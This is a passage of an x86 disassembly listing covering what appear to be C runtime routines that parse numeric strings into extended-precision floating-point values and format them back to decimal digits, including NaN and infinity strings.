		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax

loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi

loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------

loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h

loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------

loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245

loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------

loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi

loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump

loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C

loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------

loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43C508
		jnz	short loc_42527B

loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------

loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265

loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43C508
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324

loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564

loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265

loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43C508
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9

loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3

loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43C504, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------

loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------

loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]

loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------

loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43C508
		jnz	short loc_4253E6

loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F

loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------

loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43C504, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------

loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------

loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------

loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43C504, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------

loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------

loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487

loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567

loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------

loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8

loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------

loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------

loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490

loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9

loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax

loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------

loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567

loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7

loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------

loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi

loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43C504, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------

loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------

loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h

loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi

loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43C504, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------

loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------

loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------

loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx

loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]

loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------

loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]

loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647

loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------

loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax

loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]

loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]

loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1

loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------

loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------

loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h

loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E

loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------

loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776

loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------

loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------

loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"

loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------

loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------

loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx

loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------

loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]

loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi

loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893

loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886

loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx

loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]

loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D

loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------

loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914

loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]

loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]

loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------

loc_425939:				; CODE XREF: sub_4256C2+272j
		cmp	eax, ecx
		jnb	short loc_425916

loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
